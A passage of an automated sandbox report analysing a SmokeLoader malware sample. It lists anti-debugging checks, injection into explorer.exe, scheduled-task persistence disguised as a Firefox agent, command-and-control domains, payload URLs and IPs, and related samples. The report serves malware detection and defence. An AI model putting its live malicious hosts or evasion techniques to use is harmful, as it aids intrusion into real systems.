Source: explorer.exe, 00000002.00000000.2119469337.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000002.00000000.2117666934.000000000769A000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Users\user\Desktop\BzLGqYKy7o.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\BzLGqYKy7o.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Users\user\Desktop\BzLGqYKy7o.exe	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\teihrdr	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B9A0.exe	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\teihrdr	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jtihrdr	System information queried: CodeIntegrityInformation	Jump to behavior

Source: C:\Users\user\Desktop\BzLGqYKy7o.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\teihrdr	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B9A0.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\teihrdr	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jtihrdr	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\BzLGqYKy7o.exe	Code function: 0_2_004E092B mov eax, dword ptr fs:[00000030h]	0_2_004E092B
Source: C:\Users\user\Desktop\BzLGqYKy7o.exe	Code function: 0_2_004E0D90 mov eax, dword ptr fs:[00000030h]	0_2_004E0D90
Source: C:\Users\user\Desktop\BzLGqYKy7o.exe	Code function: 0_2_005AFAAD push dword ptr fs:[00000030h]	0_2_005AFAAD
Source: C:\Users\user\AppData\Roaming\teihrdr	Code function: 4_2_0060092B mov eax, dword ptr fs:[00000030h]	4_2_0060092B
Source: C:\Users\user\AppData\Roaming\teihrdr	Code function: 4_2_00600D90 mov eax, dword ptr fs:[00000030h]	4_2_00600D90
Source: C:\Users\user\AppData\Roaming\teihrdr	Code function: 4_2_0069F275 push dword ptr fs:[00000030h]	4_2_0069F275
Source: C:\Users\user\AppData\Local\Temp\B9A0.exe	Code function: 7_2_0059EE02 push dword ptr fs:[00000030h]	7_2_0059EE02
Source: C:\Users\user\AppData\Local\Temp\B9A0.exe	Code function: 7_2_01FA0D90 mov eax, dword ptr fs:[00000030h]	7_2_01FA0D90
Source: C:\Users\user\AppData\Local\Temp\B9A0.exe	Code function: 7_2_01FA092B mov eax, dword ptr fs:[00000030h]	7_2_01FA092B
Source: C:\Users\user\AppData\Roaming\teihrdr	Code function: 8_2_0070092B mov eax, dword ptr fs:[00000030h]	8_2_0070092B
Source: C:\Users\user\AppData\Roaming\teihrdr	Code function: 8_2_00700D90 mov eax, dword ptr fs:[00000030h]	8_2_00700D90
Source: C:\Users\user\AppData\Roaming\teihrdr	Code function: 8_2_00740DF5 push dword ptr fs:[00000030h]	8_2_00740DF5
Source: C:\Users\user\AppData\Roaming\jtihrdr	Code function: 9_2_0052092B mov eax, dword ptr fs:[00000030h]	9_2_0052092B
Source: C:\Users\user\AppData\Roaming\jtihrdr	Code function: 9_2_00520D90 mov eax, dword ptr fs:[00000030h]	9_2_00520D90
Source: C:\Users\user\AppData\Roaming\jtihrdr	Code function: 9_2_0058EC2A push dword ptr fs:[00000030h]	9_2_0058EC2A

HIPS / PFW / Operating System Protection Evasion

Benign windows process drops PE files

Source: C:\Windows\explorer.exe

File created: jtihrdr.2.dr

Jump to dropped file

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 188.40.141.211 443	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 105.197.97.247 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 189.195.132.134 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 23.145.40.164 443	Jump to behavior

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\Desktop\BzLGqYKy7o.exe	Thread created: C:\Windows\explorer.exe EIP: 87C19A8	Jump to behavior
Source: C:\Users\user\AppData\Roaming\teihrdr	Thread created: unknown EIP: 88019A8	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B9A0.exe	Thread created: unknown EIP: 9861970	Jump to behavior
Source: C:\Users\user\AppData\Roaming\teihrdr	Thread created: unknown EIP: 9EE19A8	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jtihrdr	Thread created: unknown EIP: 3181970	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\BzLGqYKy7o.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\BzLGqYKy7o.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\teihrdr	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\teihrdr	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B9A0.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B9A0.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\teihrdr	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\teihrdr	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jtihrdr	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jtihrdr	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior

Source: explorer.exe, 00000002.00000000.2119469337.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd=
Source: explorer.exe, 00000002.00000000.2116332496.0000000001731000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 00000002.00000000.2117520467.0000000004B00000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.2116332496.0000000001731000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000002.00000000.2116332496.0000000001731000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000002.00000000.2116332496.0000000001731000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000002.00000000.2115964908.0000000000EF0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PProgman

Stealing of Sensitive Information

Yara detected SmokeLoader

Source: Yara match	File source: 9.2.jtihrdr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.3.jtihrdr.530000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.B9A0.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.3.B9A0.exe.20c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.B9A0.exe.1fa0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.jtihrdr.520e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2780852032.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2830678754.0000000000530000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2645309546.00000000020E1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2369070542.0000000000610000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2132079925.00000000004F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2369106614.0000000000631000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2780906751.00000000020E1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2882405099.0000000000530000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2882830547.00000000020D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2132356094.0000000000561000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2645253603.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2593902376.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected SmokeLoader

Source: Yara match	File source: 9.2.jtihrdr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.3.jtihrdr.530000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.B9A0.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.3.B9A0.exe.20c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.B9A0.exe.1fa0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.jtihrdr.520e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2780852032.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2830678754.0000000000530000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2645309546.00000000020E1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2369070542.0000000000610000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2132079925.00000000004F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2369106614.0000000000631000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2780906751.00000000020E1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2882405099.0000000000530000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2882830547.00000000020D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2132356094.0000000000561000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2645253603.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2593902376.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	32 Process Injection	11 Masquerading	OS Credential Dumping	511 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	12 Virtualization/Sandbox Evasion	LSASS Memory	12 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	32 Process Injection	Security Account Manager	3 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Hidden Files and Directories	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	115 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Software Packing	Cached Domain Credentials	12 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 File Deletion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
BzLGqYKy7o.exe	32%	ReversingLabs
BzLGqYKy7o.exe	100%	Avira	HEUR/AGEN.1310247
BzLGqYKy7o.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\teihrdr	100%	Avira	HEUR/AGEN.1310247
C:\Users\user\AppData\Local\Temp\B9A0.exe	100%	Avira	HEUR/AGEN.1310247
C:\Users\user\AppData\Roaming\jtihrdr	100%	Avira	HEUR/AGEN.1310247
C:\Users\user\AppData\Roaming\teihrdr	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\B9A0.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\jtihrdr	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\teihrdr	32%	ReversingLabs

Source	Detection	Scanner	Label
https://android.notify.windows.com/iOS	0%	URL Reputation	safe
https://powerpoint.office.comcember	0%	URL Reputation	safe
https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe	0%	URL Reputation	safe
https://api.msn.com/	0%	URL Reputation	safe
https://excel.office.com	0%	URL Reputation	safe
http://schemas.micro	0%	URL Reputation	safe
http://crl.v	0%	URL Reputation	safe
https://outlook.com	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
calvinandhalls.com	188.40.141.211	true	true	unknown
nwgrus.ru	105.197.97.247	true	true	unknown
bestworldhools.com	188.40.141.211	true	true	unknown

Contacted URLs

Name	Malicious	Reputation
https://calvinandhalls.com/search.php	true	unknown
http://tech-servers.in.net/tmp/index.php	true	unknown
https://23.145.40.164/ksa9104.exe	true	unknown
https://bestworldhools.com/search.php	true	unknown
http://unicea.ws/tmp/index.php	true	unknown
http://nwgrus.ru/tmp/index.php	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://word.office.comon	explorer.exe, 00000002.00000000.2119469337.00000000099C0000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.autoitscript.com/autoit3/J	explorer.exe, 00000002.00000000.2121740943.000000000C861000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.2121740943.000000000C81C000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://android.notify.windows.com/iOS	explorer.exe, 00000002.00000000.2117666934.00000000076F8000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://powerpoint.office.comcember	explorer.exe, 00000002.00000000.2121214816.000000000C460000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe	explorer.exe, 00000002.00000000.2121214816.000000000C549000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.msn.com/	explorer.exe, 00000002.00000000.2119469337.0000000009ADB000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://excel.office.com	explorer.exe, 00000002.00000000.2119469337.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.micro	explorer.exe, 00000002.00000000.2118897600.0000000008890000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000000.2118355378.0000000007DC0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000000.2118873758.0000000008870000.00000002.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.v	explorer.exe, 00000002.00000000.2115964908.0000000000F13000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://outlook.com	explorer.exe, 00000002.00000000.2119469337.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://wns.windows.com/)s	explorer.exe, 00000002.00000000.2119469337.00000000099C0000.00000004.00000001.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
188.40.141.211	calvinandhalls.com	Germany	24940	HETZNER-ASDE	true
105.197.97.247	nwgrus.ru	Egypt	24835	RAYA-ASEG	true
189.195.132.134	unknown	Mexico	13999	MegaCableSAdeCVMX	true
23.145.40.164	unknown	Reserved	22631	SURFAIRWIRELESS-IN-01US	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1528058
Start date and time:	2024-10-07 14:58:03 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 21s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	BzLGqYKy7o.exe renamed because original name is a hash value
Original Sample Name:	d0d4805488e7e745515fff2165d3cc05.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@6/4@7/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 98% Number of executed functions: 73 Number of non-executed functions: 9
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: BzLGqYKy7o.exe

Simulations

Behavior and APIs

Time	Type	Description
08:59:11	API Interceptor	329327x Sleep call for process: explorer.exe modified
14:59:20	Task Scheduler	Run new task: Firefox Default Browser Agent E99ED912E432380B path: C:\Users\user\AppData\Roaming\teihrdr
15:00:11	Task Scheduler	Run new task: Firefox Default Browser Agent 934EE7DA49EF2551 path: C:\Users\user\AppData\Roaming\jtihrdr

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.40.141.211	w4DO1Z18yg.wsf	Get hash	malicious	SmokeLoader	Browse	ceoconstractionstore.pl/index.php
	UkHkCa3IYV.wsf	Get hash	malicious	SmokeLoader	Browse	ceoconstractionstore.pl/index.php
	3312.PDF.wsf	Get hash	malicious	SmokeLoader	Browse	ceoconstractionstore.pl/index.php
	RmbF3635xY.exe	Get hash	malicious	SmokeLoader	Browse	ceoconstractionstore.pl/index.php
	abc0f6a2936703cd32608e7a0c06cd7b1da2f012ad7eb.exe	Get hash	malicious	CryptOne, Nymaim, PrivateLoader, RedLine, SmokeLoader, onlyLogger	Browse	gmpeople.com/upload/
	vwaoMjcyAw.exe	Get hash	malicious	SmokeLoader	Browse	selebration17io.io/index.php
	Qi4Mj8hG3t.exe	Get hash	malicious	SmokeLoader	Browse	selebration17io.io/index.php
	br0A8E2X6I.exe	Get hash	malicious	SmokeLoader	Browse	selebration17io.io/index.php
	setup.exe	Get hash	malicious	Babuk, Djvu	Browse	zexeq.com/test2/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4&first=true
	SecuriteInfo.com.Win32.Evo-gen.21074.1738.exe	Get hash	malicious	SmokeLoader	Browse	agressivemnaiq.xyz/
105.197.97.247	msvR1bl94M.exe	Get hash	malicious	SmokeLoader	Browse	100xmargin.com/tmp/index.php
	j1NeIT4ojp.exe	Get hash	malicious	SmokeLoader	Browse	epohe.ru/tmp/
	UICbFTrVH4.exe	Get hash	malicious	SmokeLoader	Browse	100xmargin.com/tmp/index.php
189.195.132.134	XVM5nluelx.exe	Get hash	malicious	Babuk, Djvu, SmokeLoader	Browse	sdfjhuz.com/dl/buildz.exe
	AaIo4VGgvO.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	cajgtus.com/files/1/build3.exe
	SecuriteInfo.com.W32.Kryptik.GYGF.tr.29287.4482.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, SmokeLoader, Vidar	Browse	sajdfue.com/files/1/build3.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bestworldhools.com	UV2uLdRZix.exe	Get hash	malicious	SmokeLoader	Browse	188.40.141.211
	LKpIHL2abO.exe	Get hash	malicious	SmokeLoader	Browse	188.40.141.211
	wu5C20dPdy.exe	Get hash	malicious	SmokeLoader	Browse	188.40.141.211
calvinandhalls.com	UV2uLdRZix.exe	Get hash	malicious	SmokeLoader	Browse	188.40.141.211
	LKpIHL2abO.exe	Get hash	malicious	SmokeLoader	Browse	188.40.141.211
	wu5C20dPdy.exe	Get hash	malicious	SmokeLoader	Browse	188.40.141.211
	c7v62g0YpB.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162
	9VgIkx4su0.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162
	veEGy9FijY.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162
	v173TV3V11.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162
	0k3ibTiMjy.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162
	qg5Ddf4an9.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162
nwgrus.ru	UV2uLdRZix.exe	Get hash	malicious	SmokeLoader	Browse	185.12.79.25
	LKpIHL2abO.exe	Get hash	malicious	SmokeLoader	Browse	197.164.156.210
	wu5C20dPdy.exe	Get hash	malicious	SmokeLoader	Browse	190.147.128.172
	HaPJ2rPP6w.exe	Get hash	malicious	SmokeLoader	Browse	177.129.90.106
	c7v62g0YpB.exe	Get hash	malicious	SmokeLoader	Browse	190.147.2.86
	9VgIkx4su0.exe	Get hash	malicious	SmokeLoader	Browse	190.224.203.37
	veEGy9FijY.exe	Get hash	malicious	SmokeLoader	Browse	58.151.148.90
	v173TV3V11.exe	Get hash	malicious	SmokeLoader	Browse	190.219.117.240
	0k3ibTiMjy.exe	Get hash	malicious	SmokeLoader	Browse	189.61.54.32
	qg5Ddf4an9.exe	Get hash	malicious	SmokeLoader	Browse	181.52.122.51

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
HETZNER-ASDE	https://cloud.list.lu/index.php/s/znw4dNSttiDzHTB	Get hash	malicious	Unknown	Browse	85.10.195.17
	UV2uLdRZix.exe	Get hash	malicious	SmokeLoader	Browse	188.40.141.211
	PURCHASE ORDER-6350.exe	Get hash	malicious	FormBook	Browse	148.251.114.233
	zncaKWwEdq.exe	Get hash	malicious	Vidar	Browse	116.203.9.188
	LKpIHL2abO.exe	Get hash	malicious	SmokeLoader	Browse	188.40.141.211
	na.elf	Get hash	malicious	Unknown	Browse	116.203.104.203
	na.elf	Get hash	malicious	Unknown	Browse	116.203.104.203
	http://suraj-tumuluri.github.io/UI-Clone-Netflix	Get hash	malicious	HTMLPhisher	Browse	78.46.22.25
	na.elf	Get hash	malicious	Mirai	Browse	91.107.182.122
	https://thiiirrrrddddddd-30x.pages.dev/	Get hash	malicious	TechSupportScam	Browse	195.201.57.90
SURFAIRWIRELESS-IN-01US	UV2uLdRZix.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	LKpIHL2abO.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	wu5C20dPdy.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	HaPJ2rPP6w.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	c7v62g0YpB.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162
	9VgIkx4su0.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162
	veEGy9FijY.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162
	v173TV3V11.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162
	0k3ibTiMjy.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162
	qg5Ddf4an9.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162
MegaCableSAdeCVMX	xd.arm.elf	Get hash	malicious	Mirai	Browse	187.246.98.10
	na.elf	Get hash	malicious	Mirai	Browse	177.230.234.128
	yakov.arm7.elf	Get hash	malicious	Mirai	Browse	187.240.239.91
	SecuriteInfo.com.Linux.Siggen.9999.28522.3483.elf	Get hash	malicious	Mirai	Browse	187.241.225.173
	mlnZfOifRX.elf	Get hash	malicious	Okiru	Browse	177.226.231.31
	SecuriteInfo.com.Linux.Siggen.9999.11579.20419.elf	Get hash	malicious	Mirai	Browse	201.132.172.57
	m68k.elf	Get hash	malicious	Unknown	Browse	148.216.187.54
	154.213.187.80-arm-2024-08-30T23_29_44.elf	Get hash	malicious	Mirai	Browse	189.194.242.57
	firmware.armv4l.elf	Get hash	malicious	Unknown	Browse	148.216.239.219
	sora.arm.elf	Get hash	malicious	Mirai	Browse	177.243.32.122
RAYA-ASEG	na.elf	Get hash	malicious	Mirai, Okiru	Browse	41.68.96.102
	na.elf	Get hash	malicious	Mirai	Browse	41.68.96.146
	na.elf	Get hash	malicious	Mirai	Browse	62.68.231.166
	na.elf	Get hash	malicious	Mirai	Browse	41.70.6.198
	na.elf	Get hash	malicious	Mirai	Browse	41.70.6.194
	na.elf	Get hash	malicious	Gafgyt, Mirai	Browse	41.68.48.233
	na.elf	Get hash	malicious	Mirai	Browse	197.132.199.54
	gmpsl.elf	Get hash	malicious	Mirai	Browse	197.132.31.215
	mips.elf	Get hash	malicious	Mirai	Browse	41.68.96.126
	mpsl.elf	Get hash	malicious	Mirai	Browse	197.132.199.57

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
72a589da586844d7f0818ce684948eea	UV2uLdRZix.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	LKpIHL2abO.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	wu5C20dPdy.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	HaPJ2rPP6w.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	c7v62g0YpB.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	9VgIkx4su0.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	veEGy9FijY.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	v173TV3V11.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	0k3ibTiMjy.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	qg5Ddf4an9.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	188.40.141.211
	xwZfYpo16i.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc	Browse	188.40.141.211
	c3KH2gLNrM.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	188.40.141.211
	file.exe	Get hash	malicious	LummaC	Browse	188.40.141.211
	file.exe	Get hash	malicious	LummaC	Browse	188.40.141.211
	file.exe	Get hash	malicious	LummaC	Browse	188.40.141.211
	file.exe	Get hash	malicious	LummaC	Browse	188.40.141.211
	file.exe	Get hash	malicious	LummaC	Browse	188.40.141.211
	file.exe	Get hash	malicious	LummaC	Browse	188.40.141.211
